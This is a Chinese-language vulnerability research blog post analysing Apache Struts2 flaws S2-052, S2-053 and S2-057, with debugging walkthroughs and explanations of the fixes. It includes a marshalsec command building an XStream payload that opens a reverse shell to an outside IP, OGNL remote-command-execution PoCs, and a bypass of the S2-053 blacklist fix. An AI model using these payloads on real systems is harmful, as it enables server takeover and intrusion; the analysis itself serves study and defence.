[旧文系列] Struts2历史高危漏洞系列-part5:S2-052/S2-053/S2-057

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31


前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009
[旧文系列] Struts2历史高危漏洞系列-part3:S2-012/S2-013/S2-015
[旧文系列] Struts2历史高危漏洞系列-part4:S2-016/S2-032/S2-045


S2-052

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-052

影响版本:Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞复现与分析

下面使用Struts2 2.3.33版本自带的示例应用struts2-rest-showcase进行调试分析。

从漏洞公告可获悉,该漏洞与OGNL表达式无关,而是由于REST plugin插件在处理xml类型的请求数据时,没有进行任何类型的过滤,故可构造恶意xml数据使XStream进行不安全的反序列化,从而达到RCE。

struts2-rest-plugin是使Struts2实现REST API的插件。它通过Content-Type或URI后缀名来识别不同的请求数据类型,然后根据请求数据类型用不同的实现类去处理。关键代码如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
跟进XStreamHandler#toObject()方法,发现调用了XStream#fromXML()方法对请求数据进行反序列化。
在这里插入图片描述
struts-rest-plugin-2.3.33依赖的XStream的版本是1.4.8。故可以使用marshalsec生成ImageIO利用链的payload进行RCE的漏洞利用。

可回显PoC

对于xstream的反序列化命令执行回显,本人暂时不知道如何实现。

下面使用marshalsec工具生成反弹shell的exploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO "/bin/bash" "-c" "bash -i >& /dev/tcp/192.168.166.233/443 0>&1"

在这里插入图片描述
在这里插入图片描述

漏洞修复

struts2-rest-plugin-2.3.34版本中,将XStream升级到了1.4.10版本,且按照XStream官方的推荐(hxxps://x-stream.github.io/security.html),使用了白名单的方式指定可以反序列化的类型。

S2-053

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-053

影响版本:Struts 2.0.0 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10.1

漏洞复现与分析

从漏洞公告可获悉:在FreeMarker模板中使用struts2标签库时,如果使用了表达式${}去引用可控输入时,便会导致RCE攻击。

下面使用docker镜像medicean/vulapps:s_struts2_s2-053进行调试分析。该环境使用的是Struts2 2.5.10.1版本。

在该环境中,Index.action的返回页面使用FreeMarker模板去渲染。在freemarker模板文件index.ftl里使用了struts2标签s:url,即@s.url,且该标签的value属性引用了外界可控输入的name参数的值。代码如下:
在这里插入图片描述
在这里插入图片描述
简单执行OGNL表达式如下:
在这里插入图片描述
由于漏洞触发是在Struts2处理返回页面,即Result对象阶段。因此在DefaultInvocation开始调度Result对象处,以及OgnlValueStack#findValue()方法处下断点,便可知道漏洞触发执行的调用栈。

由于Index.actionresult标签的type属性为freemarker,所以DefaultInvocation调度的Result对象其实是FreemarkerResult,它会根据模板文件创建对应的模板对象Template来进行一系列的解析渲染操作。在这个过程中,它先是解析表达式${name}获取name参数的值,然后对值进行OGNL表达式的计算。关键代码如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可回显PoC

拿S2-045的exploit稍微修改一下便可:

%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
		(
		(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
		(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
		(#ognlUtil.getExcludedPackageNames().clear()).
		(#ognlUtil.getExcludedClasses().clear()).
		(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}

在这里插入图片描述

漏洞修复

通过版本代码比对发现,Struts2 2.5.12版本做了很多改动。但通过调试发现,针对这个漏洞,最关键的修复代码在于将OgnlUtil类里的黑名单集合excludedPackageNamesexcludedClasses都由原来的HashSet改为不可修改的集合类Collections$UnmodifiableSet来替代,从而使得S2-045的exploit失效了。如下图所示:
在这里插入图片描述
但!很遗憾,这个修复可以被轻易绕过,因为修复后的代码中,OgnlUtil类里的excludedPackageNamesexcludedClasses属性,只是它引用的集合对象是一个不可修改的对象,故可通过它们的setter方法,将其引用到一个空集合对象即可。

这里直接放结论:将在上面的可回显PoC稍加修改,然后连续执行两次,便可在修复后的Struts2 2.5.12版本getshell!至于为什么需要执行两次才行,这个留到分析S2-057漏洞时再好好说道。

修改后的PoC如下:

%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
		(
		(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
		(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
		(#ognlUtil.setExcludedPackageNames('')).
		(#ognlUtil.setExcludedClasses('')).
		(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}

在这里插入图片描述

S2-057

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-057

影响版本:Struts 2.0.4 - Struts 2.3.34, Struts 2.5 - Struts 2.5.16

漏洞复现与分析

从漏洞公告可获悉,该漏洞有两个前提条件,如下:

  • alwaysSelectFullNamespacetrue
  • struts.xml文件中,没有对action对象的上层(即package标签)设置namespace属性,或者namespace属性使用了通配符。

满足这两个前提条件的情况下,存在4个攻击向量:

  • ServletActionRedirectResult:对应的result type为redirectAction
  • ActionChainResult:对应的result type为:ActionChainResult;
  • PostbackResult:对应的result type为:postback;
  • ServletUrlRenderer:对应<s:url>标签的处理。

这里仅以ServletActionRedirectResult为例进行调试分析,其他3个分析起来差不多。

下面使用docker镜像medicean/vulapps:s_struts2_s2-057进行调试分析。该环境使用的是Struts2 2.5.16版本。

如下图,应用开启了alwaysSelectFullNamespace特性,action对象actionChain1result对象的类型设置为redirectAction,且package没有设置namespace属性。
在这里插入图片描述
在这里插入图片描述
简单表达式执行PoC如下:

hxxp://host:port/S2-057/${123+456}/actionChain1.action

访问后,跳转的Url如下:

hxxp://host:port/S2-057/579/register2.action

alwaysSelectFullNamespace特性开启时,namespace的值会从uri中去获取,如下图:
在这里插入图片描述
后面在处理Result对象时,在ServletActionRedirectResult#execute()方法中,获取前面得到的namespace的值,即表达式${123+456},然后与result指定的action名进行字符串拼接,拼接后的字符串赋值给ServletActionRedirectResult#location属性,如下图:
在这里插入图片描述
继续跟进代码,在StrutsResultSupport#conditionalParse()方法中看到熟悉的TextParseUtil#translateVariables()方法调用。没错,后面的执行流程就和S2-012是一样的了,这里不再详述。
在这里插入图片描述
下面重点说一下命令执行PoC的构造。

可回显PoC

因为在Struts2 2.5.16(依赖的ognl版本为3.1.15)中,OgnlContextget()方法已经不支持传入OgnlContext.CONTEXT_CONTEXT_KEY常量,故无法像以前一样在OGNL表达式中使用#context直接访问上下文对象context

因此,我们需要找另外的方式先去获取context上下文对象,参考文章[3]中提出通过上下文对象内部集合里的attr对象来获取context上下文对象。因为attr是可以使用#attr去访问的,它是一个AttributeMap对象。如下图:
在这里插入图片描述
AttributeMap#get()方法可以看到,其实它会去上下文对象context内部存放的request、session、application对象去查值。其中,通过request.get("struts.valueStack")便可获取值栈OgnlValueStack,而OgnlValueStack对象中又存在指向上下文对象的属性。
在这里插入图片描述
因此,便可通过#request['struts.valueStack'].contextattr['struts.valueStack'].context来获取上下文对象。

接着,再配合前面S2-053的修复绕过,即利用setter方法将指向黑名单集合的属性值excludedClassexcludedPackageNames指向一个空的集合。

综上可得,命令执行可回显的PoC如下:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}

但为什么执行第一次的时候无效呢?

是因为PoC里改的是OgnlUtil对象里的excludedClassexcludedPackageNames,而实际进行黑名单校验时,是在安全管理器SecurityMemberAccess中进行的,使用的也是SecurityMemberAccess中的excludedClassexcludedPackageNames属性。如下图:
在这里插入图片描述
因为第一次请求,我们已经将OgnlUtilexcludedClassexcludedPackageNames给指向了空的集合。所以第二次请求,SecurityMemberAccessOgnlUtil获取到的黑名单也因此变成了空的集合。从而实现了绕过。
在这里插入图片描述

漏洞修复

在Struts2 2.5.17版本中,DefaultActionMapping在获取namespace时增加了正则匹配字符白名单的校验。
在这里插入图片描述

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值